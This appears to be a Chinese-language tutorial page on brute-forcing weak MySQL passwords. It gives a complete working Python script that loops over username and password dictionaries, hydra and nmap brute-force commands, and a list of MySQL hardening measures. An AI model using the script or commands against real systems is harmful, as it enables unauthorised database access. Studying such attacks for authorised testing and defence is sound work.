首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

Python 版 MySQL 弱口令爆破腳本:原理與防禦

     編輯:MySQL 資料庫相關知識

⚠️ 安全聲明

本文僅供安全研究、授權滲透測試、資產自查使用。未經授權對他人系統進行爆破屬違法行為,嚴禁濫用。

腳本原理

  • 依賴 MySQLdb(或 mysqlclient、PyMySQL)驅動
  • 雙層迴圈遍歷使用者名/密碼字典
  • 捕獲連線異常判斷失敗,成功即輸出並停止

參考實作(教學用)

#!/usr/bin/env python3
import sys
import mysql.connector  # 推薦純 Python 實現的 mysql-connector-python

TARGET_HOST = '127.0.0.1'
TARGET_PORT = 3306

USER_DICT = ['root', 'admin', 'test', 'user']
PASS_DICT = ['', '123456', 'root', 'admin', 'password', '123456789']

def brute():
    for user in USER_DICT:
        for pwd in PASS_DICT:
            try:
                conn = mysql.connector.connect(
                    host=TARGET_HOST, port=TARGET_PORT,
                    user=user, password=pwd,
                    connection_timeout=3
                )
                conn.close()
                print(f'[SUCCESS] {user}:{pwd}')
                return
            except mysql.connector.Error:
                pass
    print('[FAILED] No valid credentials found.')

if __name__ == '__main__':
    brute()

防禦建議

  1. 禁用 root 遠程登入:bind-address=127.0.0.1 或 GRANT ... @'127.0.0.1'
  2. 強制複雜密碼策略:validate_password 插件 + 定期輪換
  3. 失敗鎖定:FAILED_LOGIN_ATTEMPTS、PASSWORD_LOCK_TIME(8.0+)
  4. 非預設埠 + 防火牆白名單
  5. 審計日誌:log_error_verbosity=3、MariaDB server_audit
  6. 最小權限原則:應用帳號僅授必要庫表權限

合規掃描替代方案

  • nmap --script mysql-brute
  • hydra -L users.txt -P pass.txt mysql://target
  • 商業級:Nessus、OpenVAS、Qualys

安全建設是體系工程,單點防禦不足以抵禦持續威脅,請建立「預防-檢測-響應」閉環。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved